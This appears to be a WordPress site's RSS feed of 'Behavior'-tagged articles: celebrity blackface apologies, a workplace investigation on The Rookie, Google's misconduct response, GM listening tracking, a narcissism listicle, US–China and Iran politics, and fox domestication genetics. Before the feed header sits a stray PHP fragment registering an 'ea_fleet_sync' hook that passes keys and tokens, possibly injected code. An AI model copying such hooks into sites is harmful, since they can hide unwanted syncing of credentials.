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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Behavior – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 05 Jan 2020 13:19:41 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Behavior – Brief News https://briefnews.eu 32 32 Ink Master Judge Oliver Peck, Under Fire for Blackface Halloween Costumes, Apologizes for ‘Insensitive’ Behavior https://briefnews.eu/ink-master-judge-oliver-peck-under-fire-for-blackface-halloween-costumes-apologizes-for-insensitive-behavior/ https://briefnews.eu/ink-master-judge-oliver-peck-under-fire-for-blackface-halloween-costumes-apologizes-for-insensitive-behavior/#respond Sun, 05 Jan 2020 13:19:41 +0000 http://briefnews.eu/ink-master-judge-oliver-peck-under-fire-for-blackface-halloween-costumes-apologizes-for-insensitive-behavior/

Ink Master judge Oliver Peck has apologized for his wearing of blackface costumes, as seen in photos that recently surfaced on TMZ.

In personal photos that apparently used to live on Peck’s old MySpace page, the onetime husband of Kat Von D is seen in brown face and arm makeup, dressed as a basketball player and as a superhero whose moniker includes a racist epithet.

“I want to profusely apologize for my completely inappropriate, insensitive, and immature behavior,” Peck said in an Instagram post, shortly after the photos began circulating on social media. “I hope that I’ve matured a great deal since then and I’m deeply sorry for everyone I’ve offended.

“I was 100% wrong to depict myself this way and I take full responsibility for my immature, misguided perspective, total lapse of judgement and insensitivity,” he added. “I can only hope that… anyone I have offended can… find it in [their] hearts to accept my sincere apology.”

Peck was set to emcee the sixth annual Tattooed Gloves charity boxing tournament next month in Austin, Texas, but he was replaced after the aforementioned photos surfaced, with professional ring announcer/tattooer Dave Woodard.

TVLine has reached out to Paramount Network for comment on Peck’s photos. Ink Masters‘ 16-episode third season is already taped, and is set to premiere this Tuesday.

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]]> https://briefnews.eu/ink-master-judge-oliver-peck-under-fire-for-blackface-halloween-costumes-apologizes-for-insensitive-behavior/feed/ 0 The Rookie: Investigation Into Claims Made by Afton Williamson Finds No Unlawful or Inappropriate Behavior https://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/ https://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/#respond Tue, 17 Sep 2019 23:18:56 +0000 http://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/

An independent, third-party investigation into allegations made by actress Afton Williamson ahead of her abrupt exit from ABC’s The Rookie has ended, and its findings exonerate those named in the claims.

The investigation, ordered by production house eOne, was commissioned by law firm Mitchell Silberberg & Knupp LLP, who engaged EXTTI, a third-party firm “recognized for their extensive expertise in investigating allegations of harassment, discrimination and retaliation in the workplace.”

“[W]e have concluded that those identified in Ms. Williamson’s allegations did not conduct themselves in an unlawful manner or demonstrate behavior inappropriate for the workplace,” reads the statement from eOne. “It was also concluded that the executive producers, including showrunner Alexi Hawley, addressed matters of which they were made aware promptly and in a fair and reasonable manner.”

An ABC spokesperson responded to eOne’s full statement (below), saying, “We are glad that eOne has completed an investigation into allegations on the set of The Rookie. We are confident that eOne takes these matters seriously and that they will continue to look for the best ways to surface concerns and address complaints.”

In a message posted to Instagram on Aug. 4, Williamson — who played Talia Bishop, the training officer for Nathan Fillion’s title character — alleged that starting with The Rookie‘s pilot shoot in spring 2018 and throughout all of Season 1, she “experienced racial discrimination/racially charged inappropriate comments from the hair department,” as well as sexual harassment from a recurring guest star (whom she eventually named). Williamson alleged that the bullying from the hair department escalated into sexual assault at the Season 1 wrap party.

“HR protocol was never adhered to following the above reports given by me to my showrunner/EP [Alexi Hawley], and an investigation was never issued for any of my claims,” Williamson claimed in her Instagram post. “Despite being told that “everything was handled” following a June meeting that she called — involving Hawley, two other producers, her agent and a SAG-AFTRA union representative — “The investigation hadn’t even begun and Season 2 had already started filming.” As a result, she said, “I walked.” (Read how Williamson’s character, Talia Bishop, will be written out for Season 2.)

Showrunner Hawley previously told TVLine of Williamson’s most unexpected exit, “It’s not really my place to get into her personal decision,” while ABC entertainment president Karey Burke admitted to reporters at this summer’s TCA press tour that she “doesn’t have a lot of answers” on the matter.

The full statement from eOne is below:

We are today addressing the findings of the investigation initiated as a result of the claims made by actor Afton Williamson regarding our series The Rookie. The investigation was commissioned via law firm Mitchell Silberberg & Knupp LLP who engaged third-party firm EXTTI, recognized for their extensive expertise in investigating allegations of harassment, discrimination and retaliation in the workplace.

We take all allegations of inappropriate conduct very seriously, particularly when the allegations involve discrimination or sexual harassment of any nature. We appreciate the cooperation of all those who were interviewed, including Ms. Williamson, the individuals she identified by name, and several other relevant production and staff members.

The investigation encompassed nearly 400 hours of interviews and review of evidence, involving a significant amount of material, including video, that was provided to and examined by the investigator. As a result of the independent investigation, we have concluded that those identified in Ms. Williamson’s allegations did not conduct themselves in an unlawful manner or demonstrate behavior inappropriate for the workplace. It was also concluded that the executive producers, including showrunner Alexi Hawley, addressed matters of which they were made aware promptly and in a fair and reasonable manner.

We recognize and respect that as individuals, the lens through which we view situations, interactions and comments, can differ based on our experiences and perspectives. As such, we regret that Ms. Williamson’s time on the series was not a positive one for her, and we respect her decision to move on to other projects.
We continue to focus on fostering a safe and respectful work environment for all our corporate and production employees and further reinforce our policies and procedures. To protect the privacy of all those interviewed, the investigator’s report will not be available publicly.

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]]> https://briefnews.eu/the-rookie-investigation-into-claims-made-by-afton-williamson-finds-no-unlawful-or-inappropriate-behavior/feed/ 0 Google CEO: we need to “take a much harder line on inappropriate behavior” https://briefnews.eu/google-ceo-we-need-to-take-a-much-harder-line-on-inappropriate-behavior/ https://briefnews.eu/google-ceo-we-need-to-take-a-much-harder-line-on-inappropriate-behavior/#respond Wed, 31 Oct 2018 04:11:39 +0000 http://briefnews.eu/google-ceo-we-need-to-take-a-much-harder-line-on-inappropriate-behavior/
Google CEO Sundar Pichai delivers the keynote address at the Google I/O 2018 Conference at Shoreline Amphitheater on May 8, 2018 in Mountain View, California.

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On Tuesday evening, Google CEO Sundar Pichai sent out an email to employees apologizing for the company’s inadequate response in the wake of a recent report in The New York Times. The newspaper chronicled three top executives who have received massive payouts over the past decade despite being credibly accused of sexual misconduct.

In the five-paragraph message, which was obtained by Ars, Pichai wrote that the company’s apology “wasn’t enough.”

As he continued:

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]]> https://briefnews.eu/google-ceo-we-need-to-take-a-much-harder-line-on-inappropriate-behavior/feed/ 0 Megyn Kelly Apologizes for Defending Blackface on Today: 'I Realize Now That Such Behavior Is Indeed Wrong' https://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/ https://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/#respond Tue, 23 Oct 2018 20:48:48 +0000 http://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/

Megyn Kelly is reevaluating her stance on blackface. Just hours after stating on-air that it isn’t “racist” for white people to darken their skin with makeup on Halloween as long as they’re portraying an actual person or character, the host of Megyn Kelly Today on Tuesday released an internal email to her staff, apologizing for her words.

“One of the wonderful things about my job is that I get the chance to express and hear a lot of opinions,” Kelly wrote in the email. “Today is one of those days where listening carefully to other points of view, including from friends and colleagues, is leading me to rethink my own views. I realize now that such behavior is indeed wrong, and I am sorry. The history of blackface in our culture is abhorrent; the wounds too deep.”

She continued, “I’ve never been a ‘pc’ kind of person — but I understand that we do need to be more sensitive in this day and age. Particularly on race and ethnicity issues which, far from being healed, have been exacerbated in our politics over the past year. This is a time for more understanding, love, sensitivity and honor, and I want to be part of that. I look forward to continuing that discussion.”

You can watch Kelly’s original remarks in this clip below:

For the record, this isn’t the first time Kelly has come under fire for racially insensitive remarks she’s made while on the air. During a Fox News segment in 2013 about Santa Claus being depicted as a race other than white, she said, “Just because it makes you feel uncomfortable doesn’t mean it has to change. You know, I mean, Jesus was a white man too.” Yikes.

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]]> https://briefnews.eu/megyn-kelly-apologizes-for-defending-blackface-on-today-i-realize-now-that-such-behavior-is-indeed-wrong/feed/ 0 Opening Pandora’s Box: GM Tracking Consumer Listening Behavior in Cars https://briefnews.eu/opening-pandoras-box-gm-tracking-consumer-listening-behavior-in-cars/ https://briefnews.eu/opening-pandoras-box-gm-tracking-consumer-listening-behavior-in-cars/#respond Tue, 25 Sep 2018 18:34:44 +0000 http://briefnews.eu/opening-pandoras-box-gm-tracking-consumer-listening-behavior-in-cars/ General Motors has begun surveying how its drivers experience in-car multimedia, specifically the radio, as part of its new strategy to track customer habits and maximize the profitability of information. With 4G LTE WiFi connectivity now featured inside millions of GM vehicles, the automaker believes technology can be used to fine tune its future marketing […]

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]]> https://briefnews.eu/opening-pandoras-box-gm-tracking-consumer-listening-behavior-in-cars/feed/ 0 15 Telltale Signs of Narcissistic Behavior (And How to Deal With It) https://briefnews.eu/15-telltale-signs-of-narcissistic-behavior-and-how-to-deal-with-it/ https://briefnews.eu/15-telltale-signs-of-narcissistic-behavior-and-how-to-deal-with-it/#respond Thu, 23 Aug 2018 01:25:17 +0000 http://briefnews.eu/15-telltale-signs-of-narcissistic-behavior-and-how-to-deal-with-it/ Narcissistic behavior ruins relationships. Finding out you’re in a relationship with a narcissist is like discovering you’re on a dead-end street — eventually, you’ll have to turn around and start over.Until the end, the narcissist in your life keeps taking and taking while you keep giving. It could be a professional relationship, it could be a friendship, or it could be an intimate relationship. Narcissists have no problem engaging people in any of these.The dead-end street of narcissism is the extreme version. Each narcissist is part of a spectrum that ranges from mild to severe — severe narcissism is pathological, a disorder that, if it goes unchecked, will rage out of control for the majority of a person’s life. Mild narcissism is the kind we come across most often.

Signs of narcissistic behavior

This disorder can be hard to spot; if you’re concerned that someone you know is a narcissist — or you may be wondering if you have narcissistic tendencies — look for these behaviors.

1. They make everything about them.

Here’s the deal with narcissists: they absolutely love talking about themselves. Susan Heitler, a clinical psychologist says:((Psychology Today: Are You a Narcissist? 6 Sure signs of Narcissism))

“Narcissistic functioning at core is a disorder of listening.”

When you’re talking to a narcissist, they’re not really listening; they’re waiting to talk about themselves.Anyone is guilty of this from time to time, but the narcissist will take the conversation and steer it in their direction consistently.The narcissist could ask you about your day, but it’s more of a way to start a conversation in which they will become the subject. They also tend to interrupt and change the subject.On the extreme end, a narcissist will get angry when you try to assert your opinion. The narcissist is always right even if their conclusion is illogical.

2. They want control and power, and they want to lead.

Narcissistic behavior often lands the narcissist in leadership positions((Personnel Psychology: Narcissism and Leadership: A Meta‐Analytic Review of Linear and Nonlinear Relationships)) because it looks like confidence.But be careful before you label your boss or your congress person a narcissist. Charisma and the ability to lead are not necessarily signs of narcissism. According to Rutgers University:((Rutgers University: Is a Career in Politics Right for Me?))

“A politician’s leadership skills often come across as narcissism.”

But statistically speaking, politicians don’t possess other narcissistic traits more than anyone else.To spot whether your boss or representative is a narcissist, look out for overtly controlling behavior and grandiose statements.

3. They make grandiose statements all the time.

You know a grandiose statement when you hear one. Narcissistic behavior is about using these statements to attract attention and earn other people’s confidence and admiration.The grandiose narcissist feels entitled. Instead of saying, ‘I still have a lot to learn, but I’m fairly confident I can succeed,’ the narcissist will say something like, ‘I honestly feel I deserve to get a raise more than the other people in my department.”On the severe side, narcissists who make grandiose statements are prone to delusions of grandeur. They are the ‘best.’ A pathological narcissist believes they can become the most famous person in America (they’ll drop a famous person’s name and compare themselves to that person, or assert they have a personal connection to a celebrity), they are well-suited to rule the world, and other delusions of this nature.

4. They cheat on you.

Narcissists tend to cheat because they get gratification from exploiting others through sexual encounters. Cheating feeds the narcissist’s sense of self-validation and power.Author Anna Cherry reports that sexual narcissism is directly correlated with cheating.((Fashion Beans: The Most Common Traits and Characteristics Found in People Who Cheat))According to Cherry, researchers did two longitudinal studies and published the results in the Archives of Sexual Behavior. Out of 123 married couples, the partners who did the most cheating displayed the highest levels of sexual narcissism, which includes “sexual exploitation, sexual entitlement, lack of sexual empathy, and grandiose sense of sexual skill.”

5. They manipulate you until they get what they want.

There are two faces of narcissism:((Paul Wink, Institute of Personality Assessment and Research, University of California, Berkeley: Two Faces of Narcissism)):

  • The extraverted, egotistical, and charming type we’ve been discussing so far.
  • And a type that seems completely the opposite — the vulnerable, hypersensitive, anxiety prone narcissist displays a lack of confidence, and may seem introverted, but is actually harboring grandiose fantasies, and will use their vulnerability to exploit others.

Both types of narcissists share the tendency to exploit others by manipulating their emotions.The extraverted narcissist will charm you and flatter you until he gets what he wants (the pronoun “he” is intentional — psychologist Fred Stinson found that males are more likely to be narcissists.((Psychology Today: How to Spot a Narcissist)) The introverted narcissist will evoke your empathy and pity.Both types of narcissists will exploit you to gain emotional, sexual, social, and physical validation. One manipulative narcissist tactic is to tell you they have other options but they still choose you; watch out for that one.

6. They swear at you a lot and use sexually gratuitous language.

No joke — narcissists are more likely than others to be verbally aggressive and confrontational.((Psychology Today: What do Narcissists Sound Like?))Profanity and sexually explicit language tend to draw attention to the narcissist and shock people. They’ll swear more than normal on a regular basis, they’ll cuss profusely when they argue with you, and they’ll use exaggerated gestures to emphasize their point.In very heated moments, a narcissist will say just about anything to maintain power.

7. They argue with you constantly.

Severe narcissists are always right — always. As your relationship with a narcissist progresses, the veil drops, and he or she begins to stop saying what they think you want to hear. Then, arguments grow more frequent and more intense.There’s no winning the argument because, again, narcissists do not respond to logic. The only time they do is when it serves their purposes.

8. They are in and out of relationships frequently.

While studying narcissists in relationships, psychologist W. Keith Campbell noticed a trend:Their relationships peak after about four months, then they’re typically over.((Psychology Today: How to Spot a Narcissist)) People in relationships with narcissists report a high level of satisfaction for the first four months, and then a quick decline. This reflects the narcissistic tendency to exploit people until the good times are gone.After four months, the argumentative tendencies, the prevailing need for control, the infidelity, the exploitation, and overall shallowness spell the end of the relationship.

9. They pay too much attention to physical appearance.

Simine Vazier and other researchers note that:((Journal of Research in Personality: Portrait of a narcissist: Manifestations of narcissism in physical appearance))

“Narcissists are more likely to wear expensive, flashy clothing, have an organized, neat appearance requiring a lot of preparation, and (in females) wear makeup and show cleavage.”

Narcissists typically score higher in evaluations of physical attractiveness, and narcissistic men tend to go for women who are considered good-looking.Narcissistic men spend more time working on their muscular definition, while narcissistic women spend more time preening. This explains the short-term nature of romantic encounters with narcissists. The immediate attraction is there, but the emotional aspect proves frustrating.

10. They change the subject when emotions come up.

In particular, grandiose and extraverted narcissists do not want to discuss their emotions with you because it puts them in a position of vulnerability and weakens their power over you.If a narcissist does bring up their emotions, it’s disingenuous. They’re using an emotional appeal to get closer to you. The emotion they identify could not be farther from how they’re actually feeling.

11. Their eyes glaze over and become distant when you’re talking.

They might nod, say “uh-huh,” and “yeah,” and act like they’re listening, but you can tell by their eyes that they’re not. You’ll notice the glaze, the distance, when you’re talking about your own experience or about anything not related to the narcissist.The narcissist glazes over because they are indeed not listening to you. They’re thinking about what they’re going to say. To listen to you is to give you a modicum of control.

12. They are a terrible sport.

No one likes to lose, but when the narcissist loses, they’re unable to accept it and walk away. If they win, they rub it in.You’ll know the difference between a normal person’s competitive impulse and that of a narcissist by just how excruciating it is to compete with the narcissist, no matter what the outcome. Once you tally the score, you’ll understand that the narcissist is more in it for domination than fun.

13. They love to cross your boundaries and break rules.

This is a certain sign of narcissistic behavior:When you assert a boundary, they break it.You ask them not to have anyone over while you’re out of town and they throw a party. You tell them not to touch your hair — they touch it. They may make unwelcome sexual advances that count as harassment. They also look for social norms and rules to break, almost as if it’s a game. They don’t tip, they run red lights late at night, they make fun of a handicapped person behind their back.This is about building an image of superiority and autonomy.

14. They collect trophies and status symbols.

Even if it’s a story about a celebrity, a rock star, or an absolutely perfect party (at which the narcissist was the star), the narcissist dwells in a world of status symbols.Sleek, cherry-red sports cars, guitars on walls with autographs on them, selfies in stunning locations, gorgeous, scantily clad women hanging on the arm — these are the stereotypical hallmarks of the narcissist, but watch out for more subtle ways in which the narcissist converts everything they do into a trophy.

15. They absolutely worship that perfect person in their life.

Although the narcissist will paint themselves as superior to others — which can come off as pretentious — they will also find a person to worship.The narcissist’s idol represents perfection in their eyes. This is someone they want to emulate and it has a lot to do with their childhood. Childhood emotional neglect (CEN) can be a cause of narcissism.((PsychCentral: A Surprising Cause of Narcissism)) It’s not uncommon for the narcissist’s idol to be a status or sex symbol.

How to deal with the narcissist in your life

Don’t put up with it. If you play games with the narcissist, or expect that you can change this person by appealing to their humanity and emotional intelligence, you’re playing right into the narcissist’s plan. Rather, be calm and firm and call them out; assert yourself, your autonomy, and the validity of your emotions.Here’s a detailed guide on how to deal with a narcissist:Narcissistic Personality: What Is It and How to Deal with a Narcissist?Access the resources at your disposal. There are some useful books to help you learn to deal with narcissists:10 Powerful Books That Can Teach You How To Deal With NarcissistsThe narcissist needs professional psychological help, which includes a diagnosis. If you’re in a relationship with this person, offer to attend couple’s therapy with them, but not before they’ve taken the Narcissistic Personality Inventory.((Open Psychometrics: Narcissistic Personality Inventory)) Even if they manipulate the Inventory, it’s important that they see a counselor.If they don’t work on changing, their relationships will continue to fail. Even the narcissist can change, but they must step away from the mirror and face who they truly are inside.

]]> https://briefnews.eu/15-telltale-signs-of-narcissistic-behavior-and-how-to-deal-with-it/feed/ 0 ‘China is another bad guy for US to justify its politically unjustifiable behavior’ https://briefnews.eu/china-is-another-bad-guy-for-us-to-justify-its-politically-unjustifiable-behavior/ https://briefnews.eu/china-is-another-bad-guy-for-us-to-justify-its-politically-unjustifiable-behavior/#respond Tue, 21 Aug 2018 15:45:55 +0000 http://briefnews.eu/china-is-another-bad-guy-for-us-to-justify-its-politically-unjustifiable-behavior/ It is absurd to suggest China has any influence on American elections; the actual threat is domestic, not foreign, Arvin Vohra, 2020 presidential hopeful for the US Libertarian Party, says.

With the US midterm elections now just a few months away, National Security Adviser John Bolton has listed China among the threats Washington faces when it comes to meddling. He also mentioned Iran, North Korea, and Russia.

On Saturday, President Donald Trump also brought up China as a threat in a tweet, stressing that the focus should not be solely on Russia.

Concerns over Beijing’s alleged meddling threat come amid a trade war between the US and China.

According to Arvin Vohra, however, worrying about China is “an absolute absurdity,” as “the people who are actually meddling in our elections, are domestic, not foreign.”

“The people who are actually influencing the American elections are the military industrial complex and teachers’ unions,” he told RT.

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Vohra also believes it’s likely that Trump will greenlight the earlier suggested sanctions on China if it continues to buy Iranian oil after November 4. But that’s a “terrible idea” because that would create poverty, which is the “actual fuel of terrorism,” he said.
Also, in his opinion, a trade war with China will be “extremely damaging” for American businesses and ordinary people.

“We’ve already seen it is damaging because now businesses have to spend more money on things like steel rather than spending money and resources on innovation, skilled labor, better computers, etc. This is a massive drain on American innovation, on the American economy,” he said.

Vohra said he was not surprised by Bolton’s and Trump’s comments on China, as it is “par for the course.”

“Finding some nonsensical… distractions to suggest that China has anything more than a completely non-existent or very insignificant influence on American elections is absurd… China has no realistic chance of influencing an American election,” he claimed.

In his view, Trump is using China as a “target to make it a new big bad guy.”

Vohra said that Trump has “the big justification” for steel tariffs “because the Chinese government gives a huge subsidy to its own domestic steel production that we need to fight back” against. But, he told RT, Trump will want secondary justifications – for example, that China is trying to influence elections.

“The US has a horrific record in foreign policy… The US government is creating one false enemy after another and using that to justify the politically unjustifiable behavior,” Vohra said.

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The US is creating a so-called Iran Action Group, US Secretary of State Mike Pompeo has announced, adding that Brian Hook will lead the group in order to spur “international support for our efforts.”

Speaking at the Thursday State Department briefing, Pompeo claimed that the world is demanding change in Iran’s behavior, so that it “finally acts like a normal country.” He added that Hook will lead an Iran Action Group to “galvanize international support for our efforts.”

Hook said the US wants to “promote a brighter future for the Iranian people,” adding that the “Iran regime has been a force for instability and violence.”

Hook went on to speak about the 12 requirements previously laid out by the US government, which Washington says Tehran must comply with. Those demands include Iranian withdraw from Syria. Pompeo previously has stated that the US would impose the “strongest sanctions in history” if Iran failed to comply with the demands.

Hook said that if Tehran “changes its behavior” in those 12 areas, US President Donald Trump is “prepared to talk to the regime.” When it comes to other countries continuing to do business with Iran, Hook said the US is “prepared to impose secondary sanctions on other governments.”

The US “certainly hopes for full compliance by all nations,” Hook said, while noting that Washington’s goal is to “reduce every country’s import of Iranian oil to zero by November 4.”

When AP’s Matt Lee noted that the announcement of the Iran Action Group is taking place on the anniversary of the 1953 US-backed coup, and asked if this suggested “regime change,” Hook responded that the timing is “pure coincidence” and that the IAG is aimed at “changing the Iranian regime’s behavior.”

European nations and Russia have already spoken out against the US demands to stop doing business with Iran. Ministers from Britain, France, Germany, and the EU wrote a letter to top Trump officials in June, in which they asked for Washington to agree not to punish European industries over their dealings with Tehran.

The letter, posted online by The New York Times, said that “as allies, we expect that the United States will refrain from taking action to harm Europe’s security interests.”

In July, Russian Foreign Minister Sergey Lavrov said that the other signatories of the 2015 Iran nuclear deal agree that US sanctions on countries doing business with Iran “is an absolutely illegal and unacceptable policy, but, of course, this can hardly be changed and there will be enough struggle in trade, economic and political spheres.” 

Lavrov also urged the remaining signatories of the deal, known as the Joint Comprehensive Plan of Action (JCPOA), to develop ways to keep commercial and economic ties with Iran that “would not depend on US whims.” 

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Enlarge / Russian domesticated foxes (credit: Kingston Photography for the JAB Canid Education and Conservation Center )

Since 1959, a unique breeding experiment has been underway in southwestern Siberia. Its founder, Dmitry Belyaev, was intrigued by the characteristics of domestication, and he observed that foxes varied in their responses to humans—some fearful, some aggressive, and a few displaying “a quiet exploratory reaction without fear or aggression.” What would happen, he wondered, if you bred just the most chilled-out foxes?

Within a few generations of doing just this, remarkable transformations were underway. The foxes were calmer and friendlier when approached—and also more baby-faced, with floppy ears, patchy coloring, and curlier tails. This group of tame foxes, along with a second group bred for their aggression, have been transformational in our understanding of domestication.

And now, genetics have entered the mix. An international team of researchers have published an exploration of the genomes of the tame, aggressive, and wild foxes, looking for clues that could illuminate the link between genes and domestication. The results point to where in the genome the most interesting differences show up, and they may help to identify genes that could be illuminating to study in more detail.

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Who is responsible when an autonomous car crashes?

That’s a difficult question to answer. Is it the owner? The company who built the car or its autonomous hardware? The people who programmed the car to make decisions? It’s a complex issue, and one that gives legislators — and the general public — pause.

The MIT Technology Review presents a potential solution in its article titled, “One way to get self-driving cars on the road faster: let insurers control them.”

The article points to an autonomous vehicle trial by Oxbotica, an Oxford University spinoff. Oxbotica has partnered with insurer XL Catlin to gather and share data gathered by three autonomous Ford Fusions operating around Oxford. Oxford professor and Oxbotica cofounder Paul Newman says that providing the insurer with the data collected to adjust the cars’ behavior. “The autonomy system has insurance built into it that allows it to control risk over a fleet,” said Newman. With insurers — who are, by profession, experts at assessing risk — in charge, lawmakers might be more confident in allowing testing on public roads.

It’s an interesting idea, but not a bulletproof one. Read more from MIT Technology Review, and let us know what you think in the comments section below.

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